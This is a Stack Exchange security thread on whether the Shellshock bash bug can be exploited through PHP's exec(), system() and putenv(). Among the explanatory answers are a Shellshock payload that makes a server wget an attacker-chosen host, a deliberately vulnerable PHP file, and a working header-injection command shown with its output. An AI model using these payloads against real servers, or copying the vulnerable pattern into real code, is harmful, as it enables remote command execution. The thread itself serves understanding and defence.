7

I've seen attack scenarios involving using wget on cgi-scripts, but how about a scenario exploiting a web server php script that issues an exec() or system() call to a bash script?

As far as I can tell, environment variables like HTTP_USER_AGENT don't get passed to exec'ed shell scripts, at least by default.

r3wt
  • 103
  • 5
Joe Knapp
  • 171
  • 1
  • 1
  • 4
  • its hard to think anyone would be dumb enough to use exec without the use of `escapeshellarg()` then again, i don't know enough about hacking and charachter sets to even know if escapeshellarg is sufficient in preventing injection. i remember i wrote an email class that executed a python script and passed some json to it, and it connected to remote smtp and send the message, but i never used it in production. – r3wt Sep 26 '14 at 12:30
  • 1
    @r3wt - it certain cases shellshock gets around escapeshellarg, although it won't usually for php – paj28 Sep 26 '14 at 12:31
  • 1
    @r3wt *"its hard to think anyone would be dumb enough to..."* Never underestimate human stupidity. When all programmers would know what they are doing, this website wouldn't need to exist. – Philipp Sep 26 '14 at 12:32
  • @paj28 care to elaborate? – r3wt Sep 26 '14 at 12:35
  • 1
    @r3wt in vulnerable scenarios, shellshock bypasses the command line, and any use of escapeshellarg. As for the PHP specifics, see my answer. – paj28 Sep 26 '14 at 12:40
  • @paj28 A number of articles about shellshock cite php exec() calls as a potential vector for this exploit. If that is indeed not the case, it would seem that a good part of the potential reach of this exploit is overblown. – Joe Knapp Sep 26 '14 at 13:27
  • @JoeKnapp - normally I'd expect php exec() to be safe as it doesn't call a shell. system() does call a shell, and is dangerous in CGI mode, although not mod_php. – paj28 Sep 26 '14 at 14:09

5 Answers5

6

PHP can only be exploited in the shellshock-case by using it in PHP-CGI mode due to the nature how CGI works. For PHP functions like system() and exec() it is not possible to influence the environment variables unless you set them yourself in PHP. That would then be in your example something like system("HTTP_SERVER=evil.example.org /path/to/script");

hspaans
  • 346
  • 1
  • 5
4

If PHP is deployed using mod_php then this scenario is basically safe. As you say, PHP does not put untrusted data into environment variables the way CGI does.

If PHP is deployed using CGI (which is a rare config) then it is vulnerable if the script makes any call to bash. It appears PHP system() uses /bin/sh - on Redhat distributions this tends to be bash, although not on Debian.

If a script sets an environment variable using untrusted data then it becomes vulnerable. I expect that is a rare case, but it's annoying because it stops you saying with certainty that "PHP is safe".

paj28
  • 32,736
  • 8
  • 92
  • 130
  • what about a non standard deployment of php, such as hhvm? – r3wt Sep 26 '14 at 12:41
  • 1
    @r3wt - I've not looked at hhvm, but if it uses FastCGI I think it's likely to be vulnerable. – paj28 Sep 26 '14 at 12:53
  • hmm, i see alot of records in my log files as of late "FastCGI Protocol received an invalid record" – r3wt Sep 26 '14 at 12:53
  • I tried setting a variable with the attack code using putenv() in a test php script on an ubuntu server. While the variable does show up in the shell environment as expected, the attack code was nevertheless not executed. – Joe Knapp Sep 26 '14 at 13:08
  • 2
    @paj28 FastCGI [seems to be safe](http://jaxbot.me/articles/cases-where-bash-shellshock-is-safe-09-25-2014), [see also](https://news.ycombinator.com/item?id=8367315) – Bob Sep 26 '14 at 16:49
2

I'm doubtful it can be exploited for php the same way as it is exploited in CGI.

If you compare the output of:

$ cat ./testing3.cgi
#!/bin/bash
echo "Content-type: text/plain"
echo
echo
set

To the output of:

$ cat ./testing.php 
<?php

system('set');

?>

The environment variables read into bash are very different. Particularly, no HTTP_USER_AGENT, or similar user-provided input to the environment.

That said, it's a very ugly bug and I think there can be many unexpected ways to exploit it. I just don't think the method used for CGI invocation of bash would be the same as any possible angle for php invocation of bash.

mgjk
  • 7,535
  • 2
  • 20
  • 34
1

From my testing it does seem possible to exploit via PHP using mod_php if certain conditions are present.

  1. /bin/sh would by symlinked to /bin/bash.
  2. The PHP app would set an Environment variable from a user-controlled HTTP variable using putenv().
  3. Somewhere in the PHP script, there is a subsequent call to a command exec function that will then load that env variable (exec(), passthru(), system(), popen(), etc) since its running in a bash shell instance. This system call/command exec function does not need to be related at all to the setting of the environment variable, as long as it happens afterwards.

For example, here is generalized form of some code I saw earlier today that sets a LANGUAGE environment variable based on an unsanitized GET parameter. The popen call I added to the bottom would be the trigger.

function getLang() { if (isset($_GET["lang"]) && !empty($_GET["lang"])) { $lang = $_GET["lang"]; } return $lang; } $language = getLang(); putenv("LANGUAGE=$language"); /** A bunch of irrelevant code **/
$file = popen("/bin/ls", "r"); /** or $result = exec("ls"); or $result = passthru("ls"); etc **/

In this case the application sets an environment variable using a user-controlled GET parameter so a value for lang such as (){:;}; /usr/bin/wget http://yourip:yourport should attempt a wget to a server/port of your choosing. I've seen similar code that sets ENV variables based on cookie values as well $language=$=COOKIE["lang"]so tampering with that header value could also trigger the vuln.

Obviously it's really bad practice to set any variable based on untrusted user data. In this case, its the call to popen (which runs in Bash thanks to the symlink) that will ultimately execute the payload. I tested this in a Debian environment after setting the symlink and the payload executed successfully. In line with what hspaans said, you're not able to influence the setting of arbitrary environment variables with calls to system() or exec(), so the success of exploiting something like this is completely dependent upon the design of the application and the environment in which it runs.

Here's some more info about non-CGI PHP vulnerability: http://lcamtuf.blogspot.com/2014/09/quick-notes-about-bash-bug-its-impact.html

T_v3rn1x
  • 76
  • 1
  • I tried repeating your test, but it didn't work. Could please take a look at this question: http://security.stackexchange.com/q/102331/42517. Thank you. – Jake Oct 12 '15 at 18:21
1

This simple PHP file offers a shellshock security hole:

shock.php

<?php

# in some configurations (CGI) your webserver does the following for you:
foreach ($_ENV as $k => $v) putenv("$k=$v");

# execute something with bash
echo shell_exec("bash -c 'echo hello from bash!'");

To execute the attack

wget --header="X-Exploit: () { :; }; echo Hacked" -q -O -  http://127.0.0.1/shock.php

The output

Hacked

hello from bash!

hegemon
  • 111
  • 2